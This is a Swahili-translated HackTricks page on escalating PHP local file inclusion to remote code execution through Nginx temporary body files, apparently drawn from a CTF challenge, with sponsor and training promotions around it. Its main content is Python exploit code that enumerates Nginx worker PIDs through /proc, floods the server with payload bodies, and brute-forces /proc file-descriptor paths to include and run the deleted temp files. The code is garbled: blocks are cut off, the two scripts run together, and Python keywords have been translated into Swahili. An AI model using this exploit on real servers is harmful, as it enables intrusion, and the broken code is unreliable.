Swahili - Ht
HackTricks Training Twitter Linkedin Sponsor

LFI2RCE via Nginx temp files

Support HackTricks

WhiteIntel

WhiteIntel ni injini ya utafutaji inayotumiwa na dark-web ambayo inatoa kazi za bure kuangalia kama kampuni au wateja wake wamekuwa compromised na stealer malwares.

Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.

Unaweza kuangalia tovuti yao na kujaribu injini yao kwa bure kwenye:

Mipangilio yenye udhaifu

Mfano kutoka https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

  • PHP code:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Kumbuka: Haiwezekani moja kwa moja kujumuisha `/proc/34/fd/15` katika mfano huu kwani kazi ya PHP `include` itatatua njia hiyo kuwa `/var/lib/nginx/body/0000001368 (deleted)` ambayo haipo katika mfumo wa faili. Kizuizi hiki kidogo kinaweza kwa bahati kuepukwa kwa njia fulani kama: `/proc/self/fd/34/../../../34/fd/15` ambayo hatimaye itatekeleza maudhui ya faili iliyofutwa `/var/lib/nginx/body/0000001368` ## Utekelezaji Kamili ```python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) kupitia msaada wa buffering wa mwili wa mteja wa nginx # ona https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ kwa maelezo URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # pata michakato ya kazi za nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] mchakato wa kazi wa nginx umepatikana: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # pakia mwili mkubwa wa mteja kulazimisha nginx kuunda /var/lib/nginx/body/$X def uploader(): print('[+] kuanza kupakia') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)

def send\_payload\_multiprocess(requests\_session): # Tumia CPUs zote kutuma payload kama mwili wa ombi kwa Nginx kwa \_ katika range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()

def generate\_random\_path\_prefix(nginx\_pids): # Njia hii inaunda njia kutoka kwa idadi ya nasibu ya vipengele vya ProcFS. Njia iliyozalishwa itakuwa kama /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) kwa \_ katika range(component\_num): pid = random.choice(nginx\_pids) ikiwa random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" vinginevyo: path += f"/proc/{pid}/root" return path

def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" jaribu: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Bendera zimeandikwa kama hxp{} ikiwa "hxp" katika d: print("Kupata bendera! ") print(d)

def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs kati ya 10 - 45 katika mzunguko. Kwa sababu faili na sockets zinaendelea kufungwa - ni kawaida sana kwa mwili wa ombi FD kufunguka ndani ya anuwai hii kwa fd katika range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()

def read\_file\_multiprocess(requests\_session, nginx\_pids): kwa nginx\_pid katika nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()

ikiwa **name** == "**main**": print('\[DEBUG] Kuunda kikao cha maombi') requests\_session = create\_requests\_session() print('\[DEBUG] Kupata Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Kuanzisha kutuma payload') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Kuanzisha wasomaji wa fd') read\_file\_multiprocess(requests\_session, nginx\_pids)

## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>

<div data-gb-custom-block data-tag="hint" data-style='success'>

Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

</div>
PreviousLFI2RCE via PHP FiltersNextLFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Last updated